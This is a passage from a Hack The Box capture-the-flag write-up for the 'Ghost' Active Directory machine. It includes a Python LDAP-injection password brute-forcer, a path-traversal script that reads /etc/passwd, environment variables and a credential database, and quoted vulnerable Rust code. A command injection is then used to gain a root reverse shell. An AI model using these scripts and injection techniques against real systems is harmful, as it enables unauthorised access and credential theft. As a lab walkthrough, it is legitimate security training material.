Cover Image

Offensive Security: Ghost - Hack The Box

Machine Info

Ghost is an Insane Windows Active Directory machine that starts with an LDAP injection that an attacker can exploit to leak the credentials for a Gitea instance. Looking through the source code on the repositories, the attacker can combine an arbitrary file read attack with a remote code execution vulnerability to gain access to a Linux host connected to Active Directory. Enumerating the Linux host, the attacker can extract a Kerberos ticket for a domain user and use it to get access to the Active Directory environment. Then, the attacker can add a DNS entry and steal the hash of another domain user. The newly compromised user can read the GMSA password of a service account tied to ADFS services. With the service account compromised, the attacker can craft a Golden SAML response and get access to a database management panel. Exploiting a linked MSSQL database on a different domain, the attacker can get code execution on a machine that lies on a different domain. Elevating the privileges and exploiting the Bidirectional trust between the two domains, the attacker can craft a valid Golden Kerberos ticket across both domains, thus fully compromising the entire forest.

Radar graph:

image.png

Reconnaissance

Initial TCP port scan with nmap:

# Nmap 7.99 scan initiated Thu Sep 17 17:21:37 2026 as: nmap -p53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49444,49592,49664,49672,49681,55388 -sCV -Pn -oN nmap.log 10.129.231.105
Nmap scan report for 10.129.231.105
Host is up (0.17s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-17 23:21:44Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
443/tcp   open  https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info: 
|   10.129.231.105:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-09-17T23:06:22
|_Not valid after:  2056-09-17T23:06:22
|_ssl-date: 2026-09-17T23:23:23+00:00; -1s from scanner time.
| ms-sql-ntlm-info: 
|   10.129.231.105:1433: 
|     Target_Name: GHOST
|     NetBIOS_Domain_Name: GHOST
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: ghost.htb
|     DNS_Computer_Name: DC01.ghost.htb
|     DNS_Tree_Name: ghost.htb
|_    Product_Version: 10.0.20348
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|   DNS_Tree_Name: ghost.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2026-09-17T23:22:49+00:00
|_ssl-date: 2026-09-17T23:23:23+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2026-09-16T23:03:32
|_Not valid after:  2027-03-18T23:03:32
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8008/tcp  open  http          nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Ghost
| http-robots.txt: 5 disallowed entries 
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-generator: Ghost 5.78
8443/tcp  open  ssl/http      nginx 1.18.0 (Ubuntu)
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after:  2124-05-25T15:14:02
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
| tls-nextprotoneg: 
|_  http/1.1
| http-title: Ghost Core
|_Requested resource was /login
9389/tcp  open  mc-nmf        .NET Message Framing
49443/tcp open  unknown
49444/tcp open  msrpc         Microsoft Windows RPC
49592/tcp open  msrpc         Microsoft Windows RPC
49664/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49681/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
55388/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2026-09-17T23:22:50
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s

This scan reveals many ports corresponding to common Active Directory services, such as LDAP, Kerberos, SMB, MSSQL, DNS, and RPC. This indicates that the server is a domain controller, its name is DC01, and it’s joined to the ghost.htb domain.

There are also several web servers running on ports 80, 8008, and 8443, two of which are running on Ubuntu. Considering that the DC is Windows, it’s likely using containers.

To resolve the domain names, I’ll add an entry to /etc/hosts:

echo "10.129.231.105   core.ghost.htb dc01.ghost.htb dc01 ghost.htb" >> /etc/hosts

Enumeration

The first step to gathering more information about the environment will be to enumerate the available shares:

[bryan@sec]$ nxc smb 10.129.231.105 -u 'Guest' -p '' --shares
SMB         10.129.231.105  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.231.105  445    DC01             [-] ghost.htb\Guest: STATUS_ACCOUNT_DISABLED 

[bryan@sec]$ nxc smb 10.129.231.105 -u '' -p '' --shares
SMB         10.129.231.105  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.231.105  445    DC01             [+] ghost.htb\: 
SMB         10.129.231.105  445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED

[bryan@sec]$ nxc ldap 10.129.231.105 -u 'Guest' -p ''
LDAP        10.129.231.105  389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.231.105  389    DC01             [-] ghost.htb\Guest: STATUS_ACCOUNT_DISABLED

We can see that the DC is running Windows Server 2022, but we cannot enumerate shares because the Guest account is disabled and the anonymous user doesn’t have sufficient permissions.


We also don’t have permission to enumerate information through RPC interfaces:

[bryan@sec]$ rpcclient -U '' -N 10.129.231.105
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> srvinfo
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> lookupnames Administrator
result was NT_STATUS_ACCESS_DENIED
rpcclient $> lsaquery
Domain Name: GHOST
Domain Sid: S-1-5-21-4084500788-938703357-3654145966
rpcclient $> lookupsids S-1-5-21-4084500788-938703357-3654145966-500
result was NT_STATUS_ACCESS_DENIED

The DNS records show an A record pointing to the IP address 10.129.231.105 which we already know and another pointing to 10.0.0.254. This means the DC probably has another network interface connected to an internal network:

[bryan@sec]$ dig any ghost.htb @10.129.231.105

...[snip]...
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;ghost.htb.			IN	ANY

;; ANSWER SECTION:
ghost.htb.		600	IN	A	10.0.0.254
ghost.htb.		3600	IN	A	127.0.0.1
ghost.htb.		600	IN	A	10.129.231.105
ghost.htb.		3600	IN	NS	dc01.ghost.htb.
ghost.htb.		3600	IN	SOA	dc01.ghost.htb. hostmaster.ghost.htb. 255 900 600 86400 3600

;; ADDITIONAL SECTION:
dc01.ghost.htb.		1200	IN	A	10.129.231.105
...[snip]...

Web Analysis

The web server running on port 80 isn’t accessible and doesn’t seem to contain any useful information either:

image.png


The website on port 8008 is running GhostCMS and displays a post owned by Kathryn Holland:

image.png

Response headers:

[bryan@sec]$ curl 'http://10.129.231.105:8008/' -I
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 17 Sep 2026 23:51:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 7676
Connection: keep-alive
X-Powered-By: Express
Cache-Control: public, max-age=0
ETag: W/"1dfc-0ozw2M6Qmbt7dsAdYZA8sg3dECE"
Vary: Accept-Encoding

The response headers indicate that the server is running Nginx 1.18.0, but there’s also an X-Powered-By: Express header. This means the GhostCMS backend is based on Express/Node.js, while Nginx acts as a reverse proxy to intercept and forward user requests to the application port where Node.js is running.


One of the endpoints reported by nmap was /ghost, which displays a login form:

image.png

When the entered email is invalid, the server returns an error message indicating that the user doesn’t exist. This is a useful clue for enumerating valid users.


The third website core.ghost.htb displays a login panel using AD FS (Active Directory Federation Services):

image.png


Clicking “Login using AD Feferation” redirects to a subdomain called federation.ghost.htb:

image.png

This web application displays the AD FS login portal. AD FS is a Windows service that allows users to authenticate/federate using their domain credentials once so they can access resources, applications, or external domains without having to re-enter their password every time. It acts as a trust bridge between Active Directory and an application or resource that needs to know who the user is.

In this case, the core.ghost.htb web application is an RP (Relying Party) that delegates user authentication to an IdP (Identity Provider) or AD FS in this case. When a user wants to authenticate to core.ghost.htb, the application redirects them to AD FS (federation.ghost.htb) to authenticate with their credentials and AD FS validates them against Active Directory. If the credentials are valid, the server redirects the user back to the application with a token that the application can use to identify the user and assign them a session cookie.

The following image shows the authentication flow:

image.png


The following image shows the first request (SAML AuthnRequest) sent by the user to AD FS for authentication:

image.png

We can see that the authentication method uses SAML 2.0 WebSSO protocol and sends the SAMLRequest, SigAlg, Signature, and client-request-id parameters.


I don’t have valid user credentials, so an error message is displayed when attempting to log in:

image.png

Initial foothold

LDAP Injection: Authentication bypass

As we saw earlier, virtual hosting is being used so I will fuzz ghost.htb for additional subdomains:

[bryan@sec]$ gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://ghost.htb:8008' -t 100 -no-error --append-domain -o 8008_vhost.log
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://ghost.htb:8008
[+] Method:                    GET
[+] Threads:                   100
[+] Wordlist:                  /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
intranet.ghost.htb:8008 Status: 307 [Size: 3968] [--> /login]
gitea.ghost.htb:8008 Status: 200 [Size: 13654]

The scan reveals two new subdomains: intranet.ghost.htb and gitea.ghost.htb, both running on port 8008.


The intranet.ghost.htb subdomain displays an internal company platform with a login form:

image.png


Analyzing this request with Burp Suite shows the submitted parameters:

image.png

The interesting part of this request is the name of the parameters used to submit user credentials: 1_ldap-username and 1_ldap-secret. Some internal applications (rather than public-facing web apps) may use LDAP as their user authentication method instead of a dedicated database. The names of these parameters suggest that the server could be using two LDAP attributes to authenticate the user.


To test this authentication, I’ll directly send an asterisk (*) in both form fields to test for an LDAP injection:

image.png

This time, we see a 303 See Other status code, and it’s redirecting the user and assigning a session cookie.

LDAP Injection: Extracting user password

Looking at the server response in the browser, we can see a successful authentication as the user kathryn.holland, confirming the injection and the vulnerability:

image.png

image.png

image.png

This portal is an internal employee forum. Based on the information provided in the forum, the following points stand out:


The Gitea application mentioned in the forum is the one running on gitea.ghost.htb, but it can only be accessed using the password for gitea_temp_principal:

image.png


We know that this account’s password is stored in an LDAP attribute, and we have also confirmed an LDAP injection vulnerability in intranet.. The strategy will be to use this vulnerability to extract the password for gitea_temp_principal.

If we use the injection to authenticate to intranet. as gitea_temp_principal, the server authenticates us successfully.

image.png

If we translate this request and recreate the LDAP query the server is probably making in the backend, it should look something like this:

# POST parameter values:
1_ldap-username="gitea_temp_principal"
1_ldap-secret="*"

# LDAP Query in backend:
(&(username=gitea_temp_principal)(secret=*))

The server takes the values submitted in the POST request and inserts them into an LDAP query. It searches for the user and their password in LDAP, wrapping the conditions in an AND operation, and authenticates the user if a match is found. In the injection, the asterisk (*) acts as a wildcard meaning “this user and any password.” If the payload were (&(username=gitea_tem_principal)(secret=a*)), it would mean “this user and any password that starts with ‘a’.”


I’ll use this same logic to create a Python script that automatically fuzzes the user’s password character by character.

The intranet. portal provides a clue about the expected password length and format:

image.png

#!/usr/bin/env python

import requests, string, signal, sys

login_url = "http://intranet.ghost.htb:8008/login"
characters = string.ascii_letters + string.digits
target_user = "gitea_temp_principal"
proxy = {'http': 'http://127.0.0.1:8080'}
headers = {"Next-Action": "c471eb076ccac91d6f828b671795550fd5925940"}

def ctrl_c(sig, frame):
    print("\n+ Exiting")
    sys.exit(0)
signal.signal(signal.SIGINT, ctrl_c)

def send_request():
    print(f"[*] Target user: {target_user}\n")
    string = ""

    for i in range(20):
        print(f"* Fuzzing character in position: {i}")

        for character in characters:
            multipart_form = {
                '1_ldap-username': (None, target_user),
                '1_ldap-secret': (None, f'{string}{character}*'),
                '0': (None, '[{},"$K1"]')
            }

            r = requests.post(login_url, headers=headers, files=multipart_form)

            if r.status_code == 303:
                string+=character
                print(f"  + Progress: {string}")
                break

if __name__ == '__main__':
    send_request()

After running the script, I was able to obtain the user’s password:

[bryan@sec]$ python ldap_injection.py 
[*] Target user: gitea_temp_principal

...[snip]...
* Fuzzing character in position: 13
   + Progress: szrr8kpc3z6onl
* Fuzzing character in position: 14
   + Progress: szrr8kpc3z6onlq
* Fuzzing character in position: 15
   + Progress: szrr8kpc3z6onlqf
* Fuzzing character in position: 16
* Fuzzing character in position: 17

The final password is szrr8kpc3z6onlqf.


This credential allowed me to access the user’s Gitea account:

image.png

Shell as root in GhostCMS container

Path Traversal

The user’s repository contains two private projects: blog and intranet. The first contains files and code related to GhostCMS, while the second reveals the complete source code for the intranet.ghost.htb website:

image.png


The description of the intranet project says that new features are being added to integrate the blog and the intranet. It also mentions the /api-dev endpoint:

image.png


The description of the blog project again mentions the plan to add new features and also confirms that GhostCMS is running in a container, as inferred from the nmap output:

image.png

The description also mentions integrating the blog and intranet for new features and says that both sites share the DEV_INTRANET_KEY environment variable.

The posts-public.js file is part of GhostCMS and contains newly added features used to retrieve additional information about posts.


Excerpt from posts-public.js.

...[snip]...
        permissions: true,
        async query(frame) {
            const options = {
                ...frame.options,
                mongoTransformer: rejectPrivateFieldsTransformer
            };
            const posts = await postsService.browsePosts(options);
            const extra = frame.original.query?.extra;
            if (extra) {
                const fs = require("fs");
                if (fs.existsSync(extra)) {
                    const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
                    posts.meta.extra = { [extra]: fileContent };
                }
            }
            return posts;
        }
    },
...[snip]...

In the /posts endpoint implementation, there’s a variable that stores the value supplied in the extra parameter and uses it to retrieve the contents of a file from the filesystem. It inserts the parameter value directly into the /var/lib/ghot/extra/ path without any sanitization. This can be exploited to perform a path traversal attack and read files from the filesystem.


The GhostCMS API is located at /ghost/api, and the endpoint for retrieving posts is /ghost/api/content/posts. When I send a request to this endpoint, I get a 403 Forbidden error:

image.png


To solve this, I need to use the API key provided in the project description:

image.png


I can now send a request using the extra parameter to try to read /etc/passwd:

image.png

The response shows the contents of the requested file, confirming the vulnerability.


This vulnerability allows us to read files inside the GhostCMS container. To speed up this process, I’ll create a Python script:

#!/usr/bin/env python

import requests, json, signal, sys

url = "http://10.129.231.105:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../"

def ctrl_c(sig, frame):
    print("\nExiting...")
    sys.exit(0)
signal.signal(signal.SIGINT, ctrl_c)

def send_request(file):

    r = requests.get(url + file)

    if r.status_code != 200:
        print(f"Error: Could not send the request. Server status code: {r.status_code}")
        return

    try:
        r_json = json.loads(r.text)
        return r_json['meta']['extra']['../../../../' + file].replace('\x00', '\n')
    except:
        print("Error: File doesn't exist.")

if __name__ == '__main__':
    while True:
        file = input("file > ")
        file_content = send_request(file.split()[0]) if file else ""

        # Export file content. Usage: /etc/passwd export_file_to local/destination/path/passwd
        if "export_file_to" in file:
            try:
                destination_path = file.split()[2]
                with open(destination_path, 'w', encoding='utf-8') as f:
                    f.write(file_content)
                    print(f"File created successfully: {destination_path}")
            except Exception as e:
                print(f"Error: {e}")
        else:
            print(file_content)

I can now run the script and specify the files I want to read:

[bryan@sec]$ rlwrap python path-traversal.py 
file > /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000:Linux User,,,:/home/node:/bin/sh

file > /proc/net/fib_trie
Main:
  +-- 0.0.0.0/0 3 0 5
     |-- 0.0.0.0
        /0 universe UNICAST
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 172.19.0.0/16 2 0 2
        +-- 172.19.0.0/30 2 0 2
           |-- 172.19.0.0
              /16 link UNICAST
           |-- 172.19.0.2
              /32 host LOCAL
        |-- 172.19.255.255
           /32 link BROADCAST
Local:
  +-- 0.0.0.0/0 3 0 5
     |-- 0.0.0.0
        /0 universe UNICAST
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
           /32 link BROADCAST
     +-- 172.19.0.0/16 2 0 2
        +-- 172.19.0.0/30 2 0 2
           |-- 172.19.0.0
              /16 link UNICAST
           |-- 172.19.0.2
              /32 host LOCAL
        |-- 172.19.255.255
           /32 link BROADCAST

file > /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
172.19.0.1       0x1         0x2         02:42:41:ae:13:67     *        eth0

The environment variables provide more information about the container and the web application:

file > /proc/self/environ
HOSTNAME=26ae7990f3dd
database__debug=false
YARN_VERSION=1.22.19
PWD=/var/lib/ghost
NODE_ENV=production
database__connection__filename=content/data/ghost.db
HOME=/home/node
database__client=sqlite3
url=http://ghost.htb
DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe
database__useNullAsDefault=true
GHOST_CONTENT=/var/lib/ghost/content
SHLVL=0
GHOST_CLI_VERSION=1.25.3
GHOST_INSTALL=/var/lib/ghost
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=18.19.0
GHOST_VERSION=5.78.0

The DEV_INTRANET_KEY variable stores the shared key that intranet and blog are supposed to use to communicate with each other.

The database__connectin__filename variable shows the path to the GhostCMS database. Taking the application’s home directory and this variable, we can form the absolute path: /var/lib/ghost/content/data/ghost.db.


We previously saw that Kathryn Holland is a GhostCMS user and also a domain user, so it is worth trying to extract her hash from the database and crack it:

file > /var/lib/ghost/content/data/ghost.db export_file_to ./ghost.db
File created successfully: ./ghost.db

After downloading the database, I tried to read its contents with sqlite3, but the file appears to be malformed:

[bryan@sec]$ file ghost.db 
ghost.db: SQLite 3.x database, last written using SQLite version 0, file counter 239, database pages 3216834560, 1st free page 15712189, free pages 239, cookie 0xbfbd0000, schema 393216, cache page size 15712189, largest root page 4, unknown 0 encoding, vacuum mode 1, version-valid-for 0
[bryan@sec]$ sqlite3 ghost.db 
SQLite version 3.53.4 2026-07-24 19:02:57
Enter ".help" for usage hints.
sqlite> .tables;
sqlite> .dump
sql error: database disk image is malformed (11)
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
/****** CORRUPTION ERROR *******/
/****** database disk image is malformed ******/
/****** ERROR: near "ORDER": syntax error ******/
/**** ERROR: (11) database disk image is malformed *****/
COMMIT;
sqlite>

As an alternative, I’ll filter what I need from the raw contents of the file. The hash for the kathryn.holland user can be obtained from it:

strings ghost.db | grep kathryn
1Kathryn Hollandkathryn$2a$10$lSwOgij5ynSgNi0uwAhhQu7aV5IOnhwrYIKctWko7fAZ6h5Ci6j0.kathryn.holland@ghost.htb{"nightShift":true}activepublic2024-02-03 05:44:212024-02-01 23:54:4012024-02-03 05:44:261
	kathryn
?	kathryn.holland@ghost.htb

Unfortunately, I was unable to crack the hash, so it’ll not be very useful.

Gitea project analysis

Analyzing the intranet project, we can see that its backend is written in Rust and uses the Rocket web server. We can also see an API and files that handle databases:

image.png


The intranet/backend/src/main.rs file shows two main endpoints: /api and /api-dev. If we remember, the project description indicated that /api-dev is a temporary development endpoint.

...[snip]...
    rocket::build()
        .mount("/api", routes![
            api::login::login,
            api::news::get_news,
            api::users::get_users,
            api::me::get_me,
            api::forum::get_forum,
        ])
        .mount("/api-dev", routes![
            api::dev::scan::scan
        ])
        .attach(cors)
        .register("/", catchers![not_authorized])
}
...[snip]...

Each of these routes contains several endpoints. The structure would look like this:

/api
	/login
	/news
	/users
	/me
	/forum
	
/api-dev
	/scan

The intranet/backend/src/api/login.rs file is responsible for authenticating users against the LDAP database:

use ldap3::{Scope, SearchEntry};
use rocket::http::{Cookie, CookieJar};
use rocket::serde::json::Json;
use time::{Duration, OffsetDateTime};

use crate::api::{ldap_error, route_error, RouteErrorRocket, RouteErrorType, LoginRequest, UserClaim};
use crate::api::ldap::ldap_bind;

async fn ldap_connect(username: &String, secret: &String) -> anyhow::Result<String, RouteErrorRocket> {
    let mut ldap = ldap_bind().await?;

    let dn = "CN=Users,DC=ghost,DC=htb";
    let (mut rs, _res) = ldap
        .search(
            &dn,
            Scope::Subtree,
            &format!("(&(displayName={})(intranetSecret={}))", username, secret),
            vec!["intranetSecret", "sAMAccountName"],
        )
        .await.or(Err(route_error(RouteErrorType::Unknown)))?
        .success().or_else(ldap_error)?;

    ldap.unbind().await.ok();

    if rs.is_empty() {
        return Err(route_error(RouteErrorType::NotFound));
    }

    let entry = SearchEntry::construct(rs.remove(0));
    match entry.attrs.get("sAMAccountName") {
        Some(values) => match values.get(0) {
            Some(username) => Ok(username.clone()),
            None => Err(route_error(RouteErrorType::Unknown))
        }
        None => Err(route_error(RouteErrorType::Unknown))
    }
}

#[post("/login", data = "<body>")]
pub async fn login(body: Json<LoginRequest>, cookies: &CookieJar<'_>) -> anyhow::Result<(), RouteErrorRocket> {
    let username = ldap_connect(&body.ldap_username, &body.ldap_secret).await?;
    let claim = UserClaim::sign(UserClaim {
        username: username.to_string(),
    });

    let mut cookie = Cookie::new("token", format!("Bearer {}", claim));
    let mut now = OffsetDateTime::now_utc();
    now += Duration::days(1);
    cookie.set_expires(now);

    cookies.add(cookie);

    Ok(())
}

This is the code responsible for the LDAP injection vulnerability, and the problem is that it doesn’t apply any sanitization to user input.

This application is also interesting because it performs LDAP queries and therefore needs valid domain credentials. Reading the main.rs file I saw that it uses dotenv::dotenv().ok(), which reads the .env environment variable file, and intranet/backend/.env.example shows an example of its structure:

LDAP_HOST=
LDAP_BIND_DN=
LDAP_BIND_PASSWORD=
JWT_SECRET=
DATABASE_URL=
DEV_INTRANET_KEY=

The .env file stores the DN (Distinguished Name) and password of the domain user used by the application to perform LDAP queries. This makes it a critical target, and if we manage to compromise it, we could obtain the first valid domain credentials.

Command injection

The intranet/backend/src/api/sev/scan.rs file implements the /api-dev/scan endpoint, and it’s a critical functionality because it uses user input to run a system command:

use std::process::Command;

use rocket::serde::json::Json;
use rocket::serde::Serialize;
use serde::Deserialize;

use crate::api::dev::DevGuard;

#[derive(Deserialize)]
pub struct ScanRequest {
    url: String,
}

#[derive(Serialize)]
pub struct ScanResponse {
    is_safe: bool,
    // remove the following once the route is stable
    temp_command_success: bool,
    temp_command_stdout: String,
    temp_command_stderr: String,
}

// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
    // currently intranet_url_check is not implemented,
    // but the route exists for future compatibility with the blog
    let result = Command::new("bash")
        .arg("-c")
        .arg(format!("intranet_url_check {}", data.url))
        .output();

    match result {
        Ok(output) => {
            Json(ScanResponse {
                is_safe: true,
                temp_command_success: true,
                temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
                temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
            })
        }
        Err(_) => Json(ScanResponse {
            is_safe: true,
            temp_command_success: false,
            temp_command_stdout: "".to_string(),
            temp_command_stderr: "".to_string(),
        })
    }
}

The endpoint expects a JSON value in the url parameter and directly concatenates it into the command bash -c intranet_url_check <user_input> without any sanitization.


When I send a request to this endpoint, I get a 401 Unauthorized error:

image.png


This error occurs because the scan() function uses a Rocket request guard (DevGuard), which prevents access to the endpoint when the request is not authorized. This DevGuard request guard is imported from intranet/backend/src/api/dev.rs and contains the following code:

use rocket::http::Status;
use rocket::Request;
use rocket::request::{FromRequest, Outcome};

pub(crate) mod scan;

pub struct DevGuard;

#[rocket::async_trait]
impl<'r> FromRequest<'r> for DevGuard {
    type Error = ();

    async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
        let key = request.headers().get_one("X-DEV-INTRANET-KEY");
        match key {
            Some(key) => {
                if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
                    Outcome::Success(DevGuard {})
                } else {
                    Outcome::Error((Status::Unauthorized, ()))
                }
            },
            None => Outcome::Error((Status::Unauthorized, ()))
        }
    }
}

It looks for the X-DEV-INTRANET-KEY header in the user’s request and compares it with the value of the DEV_INTRANET_KEY environment variable. This is the same environment variable seen in the blog application, and according to the project description, both applications share the same key.


I’ll send a new request adding the X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe header:

image.png

The request succeeds, and the response now shows a system-level command error indicating that the intranet_url_check command doesn’t exist, which means it has not been implemented yet.


To achieve command execution, I’ll simply add a semicolon at the beginning of the string and an arbitrary command to make an HTTP request to my Python web server:

image.png

This confirms the command injection.


I can now send a reverse shell to my machine:

[bryan@sec]$ sudo penelope -p 443
[+] Listening for reverse shells on 0.0.0.0:443 -> 127.0.0.1 192.168.2.105 172.17.0.1 10.10.15.79
    Main Menu (m)  Payloads (p)  Clear (Ctrl-L)  Quit (q/Ctrl-C)
[+] [New Reverse Shell] => 36b733906694 10.129.231.105 Linux-x86_64 root(0) Session ID <1>
[+] Agent deployed via /usr/bin/python3
[+] Interacting with session [1]  PTY  Menu key F12

root@36b733906694:/app# id
uid=0(root) gid=0(root) groups=0(root)
root@36b733906694:/app# hostname -I
172.18.0.3
root@36b733906694:/app# ls -al
total 14956
drwxr-xr-x 1 root root     4096 Jul  5  2024 .
